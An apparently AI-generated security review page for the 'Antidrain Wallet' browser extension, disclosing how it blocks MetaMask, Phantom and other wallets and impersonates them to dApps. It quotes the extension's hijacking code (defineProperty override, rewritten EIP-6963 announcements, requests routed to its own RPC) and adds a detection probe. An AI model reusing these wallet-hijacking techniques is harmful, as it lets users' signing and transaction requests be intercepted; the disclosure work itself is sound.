Is Antidrain Wallet safe?
Antidrain Wallet blocks rival wallet extensions and swaps its own provider into their place so dApps unknowingly connect through it.
On every website, Antidrain injects a script that stops MetaMask, Rabby, Trust Wallet, Coinbase Wallet, Phantom and a dozen other wallets from setting their usual window.ethereum-style globals, and rewrites the EIP-6963 wallet-announcement events those wallets send so a dApp sees the real wallet's name and icon but receives Antidrain's own provider object instead. Any wallet connection request a dApp makes is routed through Antidrain's background service worker to its own RPC endpoint and confirmation screen, rather than the wallet the user actually chose. The substitution is silent: neither the visited site nor the user is shown any indication that the connected "MetaMask" or "Phantom" is not the real extension.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Antidrain Wallet blocks MetaMask and clones its identity on every dApp
Code analysis shows Antidrain Wallet blocks MetaMask, Phantom and 14 other wallets from setting window.ethereum, then re-announces itself under their names so every dApp you visit talks to Antidrain instead of your real wallet.
You install Antidrain Wallet alongside a real wallet like MetaMask and open any HTTPS page.
inject-guard.js runs in the page's own MAIN world at document_start, ahead of MetaMask's own injected script.
Antidrain stops MetaMask from ever setting window.ethereum and rewrites its wallet-discovery announcement to carry Antidrain's own provider instead.
Every dApp that reads window.ethereum, or listens for the standard EIP-6963 announcement, ends up holding Antidrain's provider object while believing it is talking to MetaMask.
inject-guard.js: blocking real wallet globals and rewriting EIP-6963 announcements
// 1. Block any OTHER script from setting window.ethereum/rabby/etc.
// unless Antidrain itself flips the allow-gate first.
Object.defineProperty(Object, 'defineProperty', {
value(obj, prop, descriptor) {
if (obj === window && PROTECTED_GLOBALS.has(prop) && !allowOwnDefs) {
return obj; // silent no-op: MetaMask's own script thinks it succeeded
}
return realDefineProperty.call(this, obj, prop, descriptor);
},
});
// 2. Intercept the STANDARD wallet-discovery event. Any wallet in this
// hardcoded 16-id list (MetaMask, Phantom, Rabby, Coinbase, Brave, ...)
// has its announcement's PROVIDER swapped for Antidrain's, while the
// announced name/icon/rdns are left as the real wallet's, so the dApp
// has no visible reason to suspect anything changed.
function dispatchEventGuard(event) {
if (event.type === 'eip6963:announceProvider') {
const rdns = event.detail?.info?.rdns;
if (INTERCEPTED_RDNS.has(rdns) && event.detail.provider !== antidrainProvider) {
event = new CustomEvent('eip6963:announceProvider', {
detail: { info: event.detail.info, provider: antidrainProvider },
});
}
}
return realDispatchEvent.call(this, event);
}inject.js: Antidrain's provider claims every rival wallet's identity flag
const antidrainProvider = {
isAntidrainWallet: true,
isMetaMask: true,
isRabby: true,
isCoinbaseWallet: true,
isTrust: true,
isTrustWallet: true,
isPhantom: true,
isAmbire: true,
isOkxWallet: true,
isTokenPocket: true,
isMathWallet: true,
isBitKeep: true,
isBitget: true,
isZerion: true,
selectedAddress: null,
chainId: '0x1',
networkVersion: '1',
request: async ({ method, params } = {}) => forwardToBackground(method, params),
// ...standard EIP-1193 event-emitter surface (on/off/send/enable/etc)...
};const announceAsAllWallets = () => {
announce(ANTIDRAIN_UUID, 'Antidrain Wallet', 'io.antidrainwallet', antidrainIcon);
announce(METAMASK_UUID, 'MetaMask', 'io.metamask', metamaskIcon); // real MetaMask icon, fake provider
announce(RABBY_UUID, 'Rabby Wallet', 'io.rabby', antidrainIcon);
announce(TRUSTWALLET_UUID, 'Trust Wallet', 'com.trustwallet.app', antidrainIcon);
announce(COINBASE_UUID, 'Coinbase Wallet', 'com.coinbase.wallet', antidrainIcon);
announce(PHANTOM_UUID, 'Phantom', 'app.phantom', antidrainIcon);
// ...11 more real wallets, each announced with the SAME antidrainProvider...
};
const setGlobalGetter = (globalName, getter) => {
const existing = Object.getOwnPropertyDescriptor(window, globalName);
if (existing?.configurable) delete window[globalName];
originalDefineProperty(window, globalName, { get: getter, set: () => true, configurable: false });
};
for (const name of ['ethereum','rabby','trustwallet','coinbaseWalletExtension','okxwallet',
'tokenpocket','bitkeep','bitget','ambire','mathwallet','gatewallet']) {
setGlobalGetter(name, () => antidrainProvider);
}
setGlobalGetter('phantom', () => ({ ethereum: antidrainProvider, solana: antidrainProvider }));| Field | Value | Why it matters | |
|---|---|---|---|
window.ethereum | {isMetaMask:true,isAntidrainWallet:true,request:fn} | Resolves to Antidrain's own provider object, not MetaMask, even though isMetaMask reads true on it. | |
EIP-6963 announcement for MetaMask | {info:{name:'MetaMask',rdns:'io.metamask'},provider:{isAntidrainWallet:true}} | The dApp-visible name and icon still say MetaMask, but the provider object inside the event is Antidrain's. | |
Where requests actually go | https://wallet.antidrain.dev/rpc | Account access, signing and transaction requests you approve go to Antidrain's own backend, not to MetaMask's normal RPC path. | |
Wallets on the intercept list | io.metamask, io.rabby, com.trustwallet.app, com.coinbase.wallet, app.phantom, io.ambire, com.okex.wallet, pro.tokenpocket, com.mathwallet, com.bitkeep, com.bitget.web3, io.zerion.wallet, me.rainbow, com.brave.wallet, io.gate.wallet | Any wallet not in this hardcoded list of 16 reverse-DNS ids is left alone; everything else is impersonated. |
Paste into any HTTPS page's console with Antidrain Wallet and a real wallet (e.g. MetaMask) both installed, to see every wallet announcement Antidrain fakes.
// antidrain-eip6963-probe.js
// Lists every EIP-6963 wallet announcement this page receives and flags
// any whose displayed identity (rdns) belongs to a real wallet but whose
// provider object is actually Antidrain's.
(function () {
const seen = [];
window.addEventListener('eip6963:announceProvider', (event) => {
const { info, provider } = event.detail || {};
if (!info) return;
const isFake = provider && provider.isAntidrainWallet === true && info.rdns !== 'io.antidrainwallet';
seen.push({ name: info.name, rdns: info.rdns, isAntidrainProvider: !!(provider && provider.isAntidrainWallet) });
console.log(
isFake ? '[antidrain-probe] IMPERSONATED:' : '[antidrain-probe] announcement:',
info.name, info.rdns, 'provider.isAntidrainWallet =', provider && provider.isAntidrainWallet
);
});
window.dispatchEvent(new Event('eip6963:requestProvider'));
setTimeout(() => {
console.log('[antidrain-probe] Total announcements received:', seen.length);
console.table(seen);
}, 2000);
}());- 1Install Antidrain Wallet plus MetaMask (or another supported wallet).
- 2Open any HTTPS page's console.
- 3Paste and run this script.
- 4Look for a real wallet's rdns paired with provider.isAntidrainWallet true.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Antidrain Wallet contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- wallet.antidrain.dev
Antidrain Wallet sends data to wallet.antidrain.dev. No other extension we have analysed sends data here.